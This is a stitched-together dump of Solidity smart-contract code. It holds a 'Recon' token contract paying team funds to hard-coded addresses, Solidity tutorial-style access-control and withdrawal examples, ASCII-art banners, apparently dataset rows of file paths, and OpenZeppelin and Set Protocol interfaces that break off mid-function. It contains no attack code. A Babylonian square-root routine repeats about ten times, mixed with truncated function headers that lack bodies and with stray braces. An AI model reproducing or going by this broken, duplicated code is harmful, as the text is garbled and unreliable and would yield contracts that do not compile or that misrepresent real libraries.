ownerETH = address(this).balance.sub(teamETH);
} else {
teamETH = address(this).balance;
}
teamETH1 = teamETH.div(3);
teamETH2 = teamETH.div(3);
teamETH3 = teamETH.sub(teamETH1).sub(teamETH2);
// TODO multisig
address(0xf14B65F1589B8bC085578BcF68f09653D8F6abA8).transfer(ownerETH);
}
uint teamETH1 = 0;
uint teamETH2 = 0;
uint teamETH3 = 0;
function withdrawTeam() public {
require(now >= teamETHUnlock1);
uint amount = 0;
if (now < teamETHUnlock2) {
amount = teamETH1;
teamETH1 = 0;
} else if (now < teamETHUnlock3) {
amount = teamETH1 + teamETH2;
teamETH1 = 0;
teamETH2 = 0;
} else {
amount = teamETH1 + teamETH2 + teamETH3;
teamETH1 = 0;
teamETH2 = 0;
teamETH3 = 0;
}
address(0x5c4F791D0E0A2E75Ee34D62c16FB6D09328555fF).transfer(amount.mul(6).div(100)); // Recon Cash-in (B2B)
address(0xeB479640A6D55374aF36896eCe6db7d92F390015).transfer(amount.mul(6).div(100)); // Recon Switch (C2C)
address(0x77167D25Db87dc072399df433e450B00b8Ec105A).transfer(amount.mul(6).div(100)); // Recon Cash-out (B2C)
address(0x1Ecb8dC0932AF3A3ba87e8bFE7eac3Cbe433B78B).transfer(amount.mul(2).div(100)); // Recon Reward
address(0x7C31BeCa0290C35c8452b95eA462C988c4003Bb0).transfer(amount.mul(2).div(100)); // Recon Donate
amount = amount.mul(78).div(100);
address(0x3a5326f9C9b3ff99e2e5011Aabec7b48B2e6A6A2).transfer(amount.mul(uint(255).mul(100).div(96)).div(1000)); // Recon Token
address(0x5a27B07003ce50A80dbBc5512eA5BBd654790673).transfer(amount.mul(uint(185).mul(100).div(96)).div(1000)); // Recon Cash
address(0xD580cF1002d0B4eF7d65dC9aC6a008230cE22692).transfer(amount.mul(uint(25).mul(100).div(96)).div(1000)); // Recon Gold
address(0x9C83562Bf58083ab408E596A4bA4951a2b5724C9).transfer(amount.mul(uint(250).mul(100).div(96)).div(1000)); // Recon Card
address(0x70E06c2Dd9568ECBae760CE2B61aC221C0c497F5).transfer(amount.mul(uint(245).mul(100).div(96)).div(1000)); // Recon Hardrive Wallet
}
// @notice doAirdrop is called when we launch airdrop.
// @notice airdrop tokens has their own supply.
uint dropped = 0;
function doAirdrop(address[] members, uint[] tokens) public onlyOwnerAndDirector {
require(members.length == tokens.length);
for(uint i = 0; i < members.length; i++) {
_freezeTransfer(members[i], tokens[i]);
dropped = dropped.add(tokens[i]);
}
require(dropped <= bountySupply);
}
mapping(address => uint) public whitemap;
uint public whitelistTokens = 0;
// @notice addWhitelistMember is used to whitelist participant.
// This means, that for the first 3 days of crowd-sale `_tokens` RECON
// will be reserved for him.
function addWhitelistMember(address[] _mem, uint[] _tokens) public onlyAdmin {
require(_mem.length == _tokens.length);
for(uint i = 0; i < _mem.length; i++) {
whitelistTokens = whitelistTokens.sub(whitemap[_mem[i]]).add(_tokens[i]);
whitemap[_mem[i]] = _tokens[i];
}
}
uint public adviserSold = 0;
// @notice transferAdviser is called to send tokens to advisers.
// @notice adviser tokens have their own supply
function transferAdviser(address[] _adv, uint[] _tokens) public onlyOwnerAndDirector {
require(_adv.length == _tokens.length);
for (uint i = 0; i < _adv.length; i++) {
adviserSold = adviserSold.add(_tokens[i]);
_freezeTransfer(_adv[i], _tokens[i]);
}
require(adviserSold <= adviserSupply);
}
mapping(address => bool) approvedInvestors;
function approveInvestor(address _addr) public onlyOwner {
approvedInvestors[_addr] = true;
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract ERC20InterfaceTest {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contracts that can have tokens approved, and then a function execute
// ----------------------------------------------------------------------------
contract TestApproveAndCallFallBack {
event LogBytes(bytes data);
function receiveApproval(address from, uint256 tokens, address token, bytes data) public {
ERC20Interface(token).transferFrom(from, address(this), tokens);
emit LogBytes(data);
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract AccessRestriction {
// These will be assigned at the construction
// phase, where `msg.sender` is the account
// creating this contract.
address public owner = msg.sender;
uint public creationTime = now;
// Modifiers can be used to change
// the body of a function.
// If this modifier is used, it will
// prepend a check that only passes
// if the function is called from
// a certain address.
modifier onlyBy(address _account)
{
require(
msg.sender == _account,
"Sender not authorized."
);
// Do not forget the "_;"! It will
// be replaced by the actual function
// body when the modifier is used.
_;
}
// Make `_newOwner` the new owner of this
// contract.
function changeOwner(address _newOwner)
public
onlyBy(owner)
{
owner = _newOwner;
}
modifier onlyAfter(uint _time) {
require(
now >= _time,
"Function called too early."
);
_;
}
// Erase ownership information.
// May only be called 6 weeks after
// the contract has been created.
function disown()
public
onlyBy(owner)
onlyAfter(creationTime + 6 weeks)
{
delete owner;
}
// This modifier requires a certain
// fee being associated with a function call.
// If the caller sent too much, he or she is
// refunded, but only after the function body.
// This was dangerous before Solidity version 0.4.0,
// where it was possible to skip the part after `_;`.
modifier costs(uint _amount) {
require(
msg.value >= _amount,
"Not enough Ether provided."
);
_;
if (msg.value > _amount)
msg.sender.transfer(msg.value - _amount);
}
function forceOwnerChange(address _newOwner)
public
payable
costs(200 ether)
{
owner = _newOwner;
// just some example condition
if (uint(owner) & 0 == 1)
// This did not refund for Solidity
// before version 0.4.0.
return;
// refund overpaid fees
}
}
// -----------------------------------------------------------------------------------------------------------------
//
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
//
// -----------------------------------------------------------------------------------------------------------------
pragma solidity ^ 0.4.25;
contract WithdrawalContract {
address public richest;
uint public mostSent;
mapping (address => uint) pendingWithdrawals;
constructor() public payable {
richest = msg.sender;
mostSent = msg.value;
}
function becomeRichest() public payable returns (bool) {
if (msg.value > mostSent) {
pendingWithdrawals[richest] += msg.value;
richest = msg.sender;
mostSent = msg.value;
return true;
} else {
return false;
}
}
function withdraw() public {
uint amount = pendingWithdrawals[msg.sender];
// Remember to zero the pending refund before
// sending to prevent re-entrancy attacks
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
}
// -----------------------------------------------------------------------------------------------------------------
//.
//"
//. ::::::.. .,:::::: .,-::::: ... :::. :::
//. ;;;;``;;;; ;;;;'''' ,;;;'````' .;;;;;;;.`;;;;, `;;;
//. [[[,/[[[' [[cccc [[[ ,[[ \[[,[[[[[. '[[
//. $$$$$$c $$"""" $$$ $$$, $$$$$$ "Y$c$$
//. 888b "88bo,888oo,__`88bo,__,o,"888,_ _,88P888 Y88
//. MMMM "W" """"YUMMM "YUMMMMMP" "YMMMMMP" MMM YM
//.
//.
//" -----------------------------------------------------------------------------------------------------------------
// ¸.•*´¨)
// ¸.•´ ¸.•´¸.•*´¨) ¸.•*¨)
// ¸.•*´ (¸.•´ (¸.•` ¤ ReconBank.eth / ReconBank.com*´¨)
// ¸.•´¸.•*´¨)
// (¸.•´ ¸.•`
// ¸.•´•.¸
// (c) Recon® / Common ownership of BlockReconChain® for ReconBank® / Ltd 2018.
// -----------------------------------------------------------------------------------------------------------------
//
// Common ownership of :
// ____ _ _ _____ _____ _ _
// | _ \| | | | | __ \ / ____| | (_)
// | |_) | | ___ ___| | _| |__) |___ ___ ___ _ __ | | | |__ __ _ _ _ __
// | _ <| |/ _ \ / __| |/ / _ // _ \/ __/ _ \| '_ \| | | '_ \ / _` | | '_ \
// | |_) | | (_) | (__| <| | \ \ __/ (_| (_) | | | | |____| | | | (_| | | | | |
// |____/|_|\___/ \___|_|\_\_| \_\___|\___\___/|_| |_|\_____|_| |_|\__,_|_|_| |_|®
//'
// -----------------------------------------------------------------------------------------------------------------
//
// This contract is an order from :
//'
// ██████╗ ███████╗ ██████╗ ██████╗ ███╗ ██╗██████╗ █████╗ ███╗ ██╗██╗ ██╗ ██████╗ ██████╗ ███╗ ███╗®
// ██╔══██╗██╔════╝██╔════╝██╔═══██╗████╗ ██║██╔══██╗██╔══██╗████╗ ██║██║ ██╔╝ ██╔════╝██╔═══██╗████╗ ████║
// ██████╔╝█████╗ ██║ ██║ ██║██╔██╗ ██║██████╔╝███████║██╔██╗ ██║█████╔╝ ██║ ██║ ██║██╔████╔██║
// ██╔══██╗██╔══╝ ██║ ██║ ██║██║╚██╗██║██╔══██╗██╔══██║██║╚██╗██║██╔═██╗ ██║ ██║ ██║██║╚██╔╝██║
// ██║ ██║███████╗╚██████╗╚██████╔╝██║ ╚████║██████╔╝██║ ██║██║ ╚████║██║ ██╗██╗╚██████╗╚██████╔╝██║ ╚═╝ ██║
// ╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═╝╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═╝'
//
// -----------------------------------------------------------------------------------------------------------------
// Thank you for making the extra effort that others probably wouldnt have made
|
Recon Central Securities Depository (Recon Vault PrivatStock)
|
_teamTransfer(0x0bD212e88522b7F4C673fccBCc38558829337f71, 4000000000 * ReconToMicro);
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] |
./full_match/8453/0xF3c78143983A2C4755E21c128aAa3d766C44EBc5/sources/project:/contracts/BayVelodromeV2Zap.sol
|
File: contracts/BIFI/zaps/libs/Babylonian.sol computes square roots using the babylonian method https:en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method credit for this implementation goes to https:github.com/abdk-consulting/abdk-libraries-solidity/blob/5e1e7c11b35f8313d3f7ce11c1b86320d7c0b554/ABDKMath64x64.sol#L725
|
library Babylonian {
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
function _afterTokenTransfer(
address from,
address to,
uint256 amount
}
pragma solidity ^0.8.0;
}
pragma solidity ^0.8.0;
}
pragma solidity >=0.8.0;
function sqrt(uint256 x) internal pure returns (uint256) {
unchecked {
if (x == 0) return 0;
else {
uint256 xx = x;
uint256 r = 1;
if (xx >= 0x100000000000000000000000000000000) {
xx >>= 128;
r <<= 64;
}
if (xx >= 0x10000000000000000) {
xx >>= 64;
r <<= 32;
}
if (xx >= 0x100000000) {
xx >>= 32;
r <<= 16;
}
if (xx >= 0x10000) {
xx >>= 16;
r <<= 8;
}
if (xx >= 0x100) {
xx >>= 8;
r <<= 4;
}
if (xx >= 0x10) {
xx >>= 4;
r <<= 2;
}
if (xx >= 0x4) {
r <<= 1;
}
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
r = (r + x / r) >> 1;
uint256 r1 = x / r;
return (r < r1 ? r : r1);
}
}
}
}
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] |
./full_match/1/0x710107831b01fa168fFE892F65ED9aA1E9FBd714/sources/LiquiShieldRouter.sol
|
Get the total supply of the non-WETH token
|
address nonWethToken = (wethToken == tokenA) ? tokenB : tokenA;
| 9,750,647
|
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// Dependency file: @openzeppelin/as/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* // importANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/as/GSN/Context.sol
// SPDX-License-Identifier: MIT
// pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like as.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// Dependency file: as/interfaces/ISetToken.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
// pragma experimental "ABIEncoderV2";
// import { IERC20 } from "@openzeppelin/as/token/ERC20/IERC20.sol";
/**
* @title ISetToken
* @author Set Protocol
*
* Interface for operating with SetTokens.
*/
interface ISetToken is IERC20 {
/* ============ Enums ============ */
enum ModuleState {
NONE,
PENDING,
INITIALIZED
}
/* ============ Structs ============ */
/**
* The base definition of a SetToken Position
*
* @param component Address of token in the Position
* @param module If not in default state, the address of associated module
* @param unit Each unit is the # of components per 10^18 of a SetToken
* @param positionState Position ENUM. Default is 0; External is 1
* @param data Arbitrary data
*/
struct Position {
address component;
address module;
int256 unit;
uint8 positionState;
bytes data;
}
/**
* A struct that stores a component's cash position details and external positions
* This data structure allows O(1) access to a component's cash position units and
* virtual units.
*
* @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency
* updating all units at once via the position multiplier. Virtual units are achieved
* by dividing a "real" value by the "positionMultiplier"
* @param componentIndex
* @param externalPositionModules List of external modules attached to each external position. Each module
* maps to an external position
* @param externalPositions Mapping of module => ExternalPosition struct for a given component
*/
struct ComponentPosition {
int256 virtualUnit;
address[] externalPositionModules;
mapping(address => ExternalPosition) externalPositions;
}
/**
* A struct that stores a component's external position details including virtual unit and any
* auxiliary data.
*
* @param virtualUnit Virtual value of a component's EXTERNAL position.
* @param data Arbitrary data
*/
struct ExternalPosition {
int256 virtualUnit;
bytes data;
}
/* ============ Functions ============ */
function addComponent(address _component) external;
function removeComponent(address _component) external;
function editDefaultPositionUnit(address _component, int256 _realUnit) external;
function addExternalPositionModule(address _component, address _positionModule) external;
function removeExternalPositionModule(address _component, address _positionModule) external;
function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external;
function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external;
function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory);
function editPositionMultiplier(int256 _newMultiplier) external;
function mint(address _account, uint256 _quantity) external;
function burn(address _account, uint256 _quantity) external;
function lock() external;
function unlock() external;
function addModule(address _module) external;
function removeModule(address _module) external;
function initializeModule() external;
function setManager(address _manager) external;
function manager() external view returns (address);
function moduleStates(address _module) external view returns (ModuleState);
function getModules() external view returns (address[] memory);
function getDefaultPositionRealUnit(address _component) external view returns(int256);
function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256);
function getComponents() external view returns(address[] memory);
function getExternalPositionModules(address _component) external view returns(address[] memory);
function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory);
function isExternalPositionModule(address _component, address _module) external view returns(bool);
function isComponent(address _component) external view returns(bool);
function positionMultiplier() external view returns (int256);
function getPositions() external view returns (Position[] memory);
function getTotalComponentRealUnits(address _component) external view returns(int256);
function isInitializedModule(address _module) external view returns(bool);
function isPendingModule(address _module) external view returns(bool);
function isLocked() external view returns (bool);
}
// Dependency file: as/interfaces/INAVIssuanceHook.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
// import { ISetToken } from "./ISetToken.sol";
interface INAVIssuanceHook {
function invokePreIssueHook(
ISetToken _setToken,
address _reserveAsset,
uint256 _reserveAssetQuantity,
address _sender,
address _to
)
external;
function invokePreRedeemHook(
ISetToken _setToken,
uint256 _redeemQuantity,
address _sender,
address _to
)
external;
}
// Dependency file: as/lib/AddressArrayUtils.sol
/*
Copyright 2020 Set Labs Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
SPDX-License-Identifier: Apache License, Version 2.0
*/
// pragma solidity 0.6.10;
/**
* @title AddressArrayUtils
* @author Set Protocol
*
* Utility functions to handle Address Arrays
*/
library AddressArrayUtils {
/**
* Finds the index of the first occurrence of the given element.
* @param A The input array to search
* @param a The value to find
* @return Returns (index and isIn) for the first occurrence starting from index 0
*/
function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) {
uint256 length = A.length;
for (uint256 i = 0; i < length; i++) {
if (A[i] == a) {
return (i, true);
}
}
return (uint256(-1), false);
}
/**
* Returns true if the value is present in the list. Uses indexOf internally.
* @param A The input array to search
* @param a The value to find
* @return Returns isIn for the first occurrence starting from index 0
*/
function contains(address[] memory A, address a) internal pure returns (bool) {
(, bool isIn) = indexOf(A, a);
return isIn;
}
/**
* Returns true if there are 2 elements that are the same in an array
* @param A The input array to search
* @return Returns boolean for the first occurrence of a duplicate
*/
function hasDuplicate(address[] memory A) internal pure returns(bool) {
require(A.length > 0, "A is empty");
for (uint256 i = 0; i < A.length - 1; i++) {
address current = A[i];
for (uint256 j = i + 1; j < A.length; j++) {
if (current == A[j]) {
return true;
}
}
}
return false;
}
/**
* @param A The input array to search
* @param a The address to remove
* @return Returns the array with the object removed.
*/
function remove(address[] memory A, address a)
internal
pure
returns (address[] memory)
{
(uint256 index, bool isIn) = indexOf(A, a);
if (!isIn) {
revert("Address not in array.");
} else {
(address[] memory _A,) = pop(A, index);
return _A;
}
}
/**
* Removes specified index from array
* @param A The input array to search
* @param index The index to remove
* @return Returns the new array and the removed entry
*/
function pop(address[] memory A, uint256 index)
internal
pure
returns (address[] memory, address)
{
uint256 length = A.length;
